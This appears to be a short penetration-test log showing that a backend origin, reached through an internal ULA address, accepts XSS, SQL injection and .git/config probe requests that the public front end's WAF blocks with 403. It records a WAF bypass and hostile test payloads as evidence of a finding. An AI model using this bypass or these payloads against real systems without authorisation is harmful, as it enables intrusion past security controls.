=== CHAIN B clean proof: backend origin serves WAF-blocked payloads ===
[backend via ULA] GET /index.html?q=<script>alert(1)</script>  : HTTP/1.1 200 OK len=2419
[front public]  GET /index.html?q=<script>alert(1)</script>  : HTTP/1.1 403 Forbidden
[backend via ULA] GET /index.html?q=x' OR 1=1-- : HTTP/1.1 200 OK len=2419
[front public]  GET /index.html?q=x' OR 1=1-- : HTTP/1.1 403 Forbidden
[backend via ULA] GET /.git/config : HTTP/1.1 404 Not Found len=400
[front public]  GET /.git/config : HTTP/1.1 403 Forbidden